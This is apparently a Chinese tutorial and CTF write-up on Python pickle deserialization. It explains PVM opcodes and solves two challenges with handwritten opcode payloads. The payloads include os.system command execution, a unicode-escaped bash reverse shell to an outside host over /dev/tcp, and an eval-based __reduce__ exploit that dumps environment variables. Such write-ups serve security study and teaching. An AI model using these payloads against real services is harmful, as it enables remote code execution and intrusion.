pickle反序列化


基础知识

pickle简介

  • 与PHP类似,python也有序列化功能以长期储存内存中的数据。pickle是python下的序列化与反序列化包。
  • python有另一个更原始的序列化包marshal,现在开发时一般使用pickle。
  • 与json相比,pickle以二进制储存,不易人工阅读;json可以跨语言,而pickle是Python专用的;pickle能表示python几乎所有的类型(包括自定义类型),json只能表示一部分内置类型且不能表示自定义类型。
  • pickle实际上可以看作一种独立的语言,通过对opcode的更改编写可以执行python代码、覆盖变量等操作。直接编写的opcode灵活性比使用pickle序列化生成的代码更高,有的代码不能通过pickle序列化得到(pickle解析能力大于pickle生成能力)。

可序列化对象

  • None,True 和 False
  • 整数、浮点数、复数
  • str、byte、bytearray
  • 只包含可封存对象的集合,包括 tuple(元组)、list、set 和 dict
  • 定义在模块最外层的函数(使用 def 定义,lambda 函数则不可以)
  • 定义在模块最外层的内置函数
  • 定义在模块最外层的类
  • __dict__ 属性值或 __getstate__() 函数的返回值可以被序列化的类(详见官方文档的Pickling Class Instances)

object.__reduce__() 函数

  • 在开发时,可以通过重写类的 object.__reduce__() 函数,使之在被实例化时按照重写的方式进行。具体而言,python要求 object.__reduce__() 返回一个 (callable, ([para1,para2...])[,...]) 的元组,每当该类的对象被unpickle时,该callable就会被调用以生成对象(该callable其实是构造函数)。
  • 在下文pickle的opcode中, R 的作用与 object.__reduce__() 关系密切:选择栈上的第一个对象作为函数、第二个对象作为参数(第二个对象必须为元组),然后调用该函数。其实 R 正好对应 object.__reduce__() 函数, object.__reduce__() 的返回值会作为 R 的作用对象,当包含该函数的对象被pickle序列化时,得到的字符串是包含了 R 的。

pickle过程详细解读

pickle解析依靠Pickle Virtual Machine (PVM)进行。

PVM涉及到三个部分:1. 解析引擎 2. 栈 3. 内存:

  • 解析引擎:从流中读取 opcode 和参数,并对其进行解释处理。重复这个动作,直到遇到 . 停止。最终留在栈顶的值将被作为反序列化对象返回。
  • 栈:由Python的list实现,被用来临时存储数据、参数以及对象。
  • memo:由Python的dict实现,为PVM的生命周期提供存储。简单理解就是将反序列化完成的数据以 key-value 的形式储存在memo中,以便后来使用。

opcode简介

pickle由于有不同的实现版本,在py3和py2中得到的opcode不相同。但是pickle可以向下兼容(所以用v0就可以在所有版本中执行)。目前,pickle有6种版本。

pickle0版本的部分opcode表格:

Opcode Data type loaded onto the stack Example
S String S’foo’\n
V Unicode Vfo\u006f\n
I Integer I42\n

pickletools

使用pickletools可以方便的将opcode转化为便于肉眼读取的形式

示例

import pickletools

opcode=b'''cos
system
(S'whoami'
tR.'''

print(pickletools.dis(opcode))
print(opcode)

运行结果
在这里插入图片描述

漏洞利用

利用思路

  • 任意代码执行或命令执行。
  • 变量覆盖,通过覆盖一些凭证达到绕过身份验证的目的。

如何手写opcode

  • 在CTF中,很多时候需要一次执行多个函数或一次进行多个指令,此时就不能光用 __reduce__ 来解决问题(reduce一次只能执行一个函数,当exec被禁用时,就不能一次执行多条指令了),而需要手动拼接或构造opcode了。手写opcode是pickle反序列化比较难的地方。
  • 在这里可以体会到为何pickle是一种语言,直接编写的opcode灵活性比使用pickle序列化生成的代码更高,只要符合pickle语法,就可以进行变量覆盖、函数执行等操作。
  • 根据前文不同版本的opcode可以看出,版本0的opcode更方便阅读,所以手动编写时,一般选用版本0的opcode。下文中,所有opcode为版本0的opcode。

常用opcode解析

opcode 描述 具体写法 栈上的变化 memo上的变化
c 获取一个全局对象或import一个模块(注:会调用import语句,能够引入新的包) c[module]\n[instance]\n 获得的对象入栈
o 寻找栈中的上一个MARK,以之间的第一个数据(必须为函数)为callable,第二个到第n个数据为参数,执行该函数(或实例化一个对象) o 这个过程中涉及到的数据都出栈,函数的返回值(或生成的对象)入栈
i 相当于c和o的组合,先获取一个全局函数,然后寻找栈中的上一个MARK,并组合之间的数据为元组,以该元组为参数执行全局函数(或实例化一个对象) i[module]\n[callable]\n 这个过程中涉及到的数据都出栈,函数返回值(或生成的对象)入栈
N 实例化一个None N 获得的对象入栈
S 实例化一个字符串对象 S’xxx’\n(也可以使用双引号、'等python字符串形式) 获得的对象入栈
V 实例化一个UNICODE字符串对象 Vxxx\n 获得的对象入栈
I 实例化一个int对象 Ixxx\n 获得的对象入栈
F 实例化一个float对象 Fx.x\n 获得的对象入栈
R 选择栈上的第一个对象作为函数、第二个对象作为参数(第二个对象必须为元组),然后调用该函数 R 函数和参数出栈,函数的返回值入栈
. 程序结束,栈顶的一个元素作为pickle.loads()的返回值 .
( 向栈中压入一个MARK标记 ( MARK标记入栈
t 寻找栈中的上一个MARK,并组合之间的数据为元组 t MARK标记以及被组合的数据出栈,获得的对象入栈
) 向栈中直接压入一个空元组 ) 空元组入栈
l 寻找栈中的上一个MARK,并组合之间的数据为列表 l MARK标记以及被组合的数据出栈,获得的对象入栈
] 向栈中直接压入一个空列表 ] 空列表入栈
d 寻找栈中的上一个MARK,并组合之间的数据为字典(数据必须有偶数个,即呈key-value对) d MARK标记以及被组合的数据出栈,获得的对象入栈
} 向栈中直接压入一个空字典 } 空字典入栈
p 将栈顶对象储存至memo_n pn\n 对象被储存
g 将memo_n的对象压栈 gn\n 对象被压栈
0 丢弃栈顶对象 0 栈顶对象被丢弃
b 使用栈中的第一个元素(储存多个属性名: 属性值的字典)对第二个元素(对象实例)进行属性设置 b 栈上第一个元素出栈
s 将栈的第一个和第二个对象作为key-value对,添加或更新到栈的第三个对象(必须为列表或字典,列表以数字作为key)中 s 第一、二个元素出栈,第三个元素(列表或字典)添加新值或被更新
u 寻找栈中的上一个MARK,组合之间的数据(数据必须有偶数个,即呈key-value对)并全部添加或更新到该MARK之前的一个元素(必须为字典)中 u MARK标记以及被组合的数据出栈,字典被更新
a 将栈的第一个元素append到第二个元素(列表)中 a 栈顶元素出栈,第二个元素(列表)被更新
e 寻找栈中的上一个MARK,组合之间的数据并extends到该MARK之前的一个元素(必须为列表)中 e MARK标记以及被组合的数据出栈,列表被更新

由这些opcode我们可以得到一些需要注意的地方:

  • 编写opcode时要想象栈中的数据,以正确使用每种opcode。
  • 在理解时注意与python本身的操作对照(比如python列表的append对应aextend对应e;字典的update对应u)。
  • c操作符会尝试import库,所以在pickle.loads时不需要漏洞代码中先引入系统库。
  • pickle不支持列表索引、字典索引、点号取对象属性作为左值,需要索引时只能先获取相应的函数(如getattrdict.get)才能进行。但是因为存在sub操作符,作为右值是可以的。即“查值不行,赋值可以”。pickle能够索引查值的操作只有ci。而如何查值也是CTF的一个重要考点。
  • sub操作符可以构造并赋值原来没有的属性、键值对。

函数执行
与函数执行相关的opcode有三个: R 、 i 、 o ,所以我们可以从三个方向进行构造:

1.R:

b'''cos
system
(S'whoami'
tR.'''

调用os模块的system函数,传入执行命令。
解释一下,首先是c操作符调用os模块的system函数,接着MARK标记入栈,实例化字符串whoami,运用t操作符寻找栈中的上一个MARK(也就是(),并组合之间的数据为元组,然后使用R操作符选择栈上的第一个对象作为函数、第二个对象作为参数命令执行

2.i:

b'''(S'whoami'
ios
system
.'''

运用i操作符,具体可看前文opcode表格

3.o:

b'''(cos
system
S'whoami'
o.'''

本文参考文章:链接

工具pker

不同系统生成的payload不一样,所以根据具体需求进行使用

实战例题

[MTCTF 2022]easypickle

pickle反序列化源码

try:
	a = base64.b64decode(session.get('ser_data')).replace(b"builtin", b"BuIltIn").replace(b"os", b"Os").replace(b"bytes", b"Bytes")
	if b'R' in a or b'i' in a or b'o' in a or b'b' in a:
		raise pickle.UnpicklingError("R i o b is forbidden")
	pickle.loads(base64.b64decode(session.get('ser_data')))
	return "ok"
except:
	return "error!"

首先将opcode进行关键字替换,然后base64解码赋值给a;接着进行if判断Rirb是否存在变量a中,然后进行pickle反序列化

这里虽然禁用操作符使得难以绕过,但是waf存在逻辑漏洞,也就是说pickle的对象是ser_data,而不是a,所以我们opcode中有os虽然被替换成Os,但是我们还是能执行opcode

payload

opcode=b'''(S'key1'\nS'val1'\ndS'vul'\n(cos\nsystem\nVcalc\nos.'''

//pickletools转换一下
    0: (    MARK						先传入一个标志到堆栈上,
    1: S        STRING     'key1'		给栈添加一行string类型数据key1
    9: S        STRING     'val1'		给栈添加一行string数据val1
   17: d        DICT       (MARK at 0)	将堆栈里面的所有数据取出然后组成字典放入堆栈
   18: S    STRING     'vul'			放入一个string类型数据vul
   25: (    MARK						再传入一个标志
   26: c        GLOBAL     'os system'	c操作码提取下面的两行作为module下的一个全局对象此时就是os.system
   37: V        UNICODE    'calc'		读入一个字符串,以\n结尾;然后把这个字符串压进栈中
   43: o        OBJ        (MARK at 25)	o操作码建立并入栈一个对象(传入的第一个参数为callable,可以执行一个函数))
   44: s    SETITEM						从堆栈中弹出三个值,一个字典,一个键和值。键/值条目是添加到字典,它被推回到堆栈上
   45: .    STOP

本题需要反弹shell,但是语句里面存在字符i,我们利用V操作符识别\u的特性,将语句unicode编码一下即可

import base64
opcode=b'''(S'key1'\nS'val1'\ndS'vul'\n(cos\nsystem\nV\u0062\u0061\u0073\u0068\u0020\u002d\u0063\u0020\u0027\u0073\u0068\u0020\u002d\u0069\u0020\u003e\u0026\u0020\u002f\u0064\u0065\u0076\u002f\u0074\u0063\u0070\u002f\u0035\u0069\u0037\u0038\u0031\u0039\u0036\u0033\u0070\u0032\u002e\u0079\u0069\u0063\u0070\u002e\u0066\u0075\u006e\u002f\u0035\u0038\u0032\u0036\u0035\u0020\u0030\u003e\u0026\u0031\u0027\nos.'''
print(base64.b64encode(opcode))

[HZNUCTF 2023 preliminary]pickle

打开题目,直接给了源码

import base64
import pickle
from flask import Flask, request
 
app = Flask(__name__)
 
 
@app.route('/')
def index():
    with open('app.py', 'r') as f:
        return f.read()
 
 
@app.route('/calc', methods=['GET'])
def getFlag():
    payload = request.args.get("payload")
    pickle.loads(base64.b64decode(payload).replace(b'os', b''))
    return "ganbadie!"
 
 
@app.route('/readFile', methods=['GET'])
def readFile():
    filename = request.args.get('filename').replace("flag", "????")
    with open(filename, 'r') as f:
        return f.read()
 
 
if __name__ == '__main__':
    app.run(host='0.0.0.0')

分析一下,给了两个路由

  • /calc路由提供GET参数payload,然后pickle反序列化,并且过滤了关键字os,我们可以用拼接绕过
  • /readFile路由提供GET参数filename,对其读取文件

exp(flag在环境变量中)

import pickle
import base64
 
class A():
    def __reduce__(self):
        return (eval,("__import__('o'+'s').system('env | tee a')",))
 
a = A()
b = pickle.dumps(a)
print(base64.b64encode(b))

然后读取得到flag

相关推荐

  1. tomcat序列

    2023-12-23 13:00:02       37 阅读
  2. PHP序列

    2023-12-23 13:00:02       19 阅读

最近更新

  1. TCP协议是安全的吗?

    2023-12-23 13:00:02       18 阅读
  2. 阿里云服务器执行yum,一直下载docker-ce-stable失败

    2023-12-23 13:00:02       19 阅读
  3. 【Python教程】压缩PDF文件大小

    2023-12-23 13:00:02       18 阅读
  4. 通过文章id递归查询所有评论(xml)

    2023-12-23 13:00:02       20 阅读

热门阅读

  1. 最新Unity DOTS Physics物理引擎碰撞事件处理

    2023-12-23 13:00:02       40 阅读
  2. 创建与配置多路复用帧的嵌入式接收器

    2023-12-23 13:00:02       33 阅读
  3. 面试算法69:山峰数组的顶部

    2023-12-23 13:00:02       35 阅读
  4. Linux中vim常用的命令

    2023-12-23 13:00:02       32 阅读
  5. 第一章 $ZF Callout接口

    2023-12-23 13:00:02       37 阅读
  6. 力扣:205. 同构字符串(Python3)

    2023-12-23 13:00:02       52 阅读
  7. 我的创作纪念日

    2023-12-23 13:00:02       47 阅读
  8. 【宽度优先搜索 BFS】LeetCode-200. 岛屿数量

    2023-12-23 13:00:02       41 阅读
  9. 《open3D+pyqt》第一章——las格式点云读取

    2023-12-23 13:00:02       42 阅读
  10. SpringMVC系列之技术点定向爆破一

    2023-12-23 13:00:02       40 阅读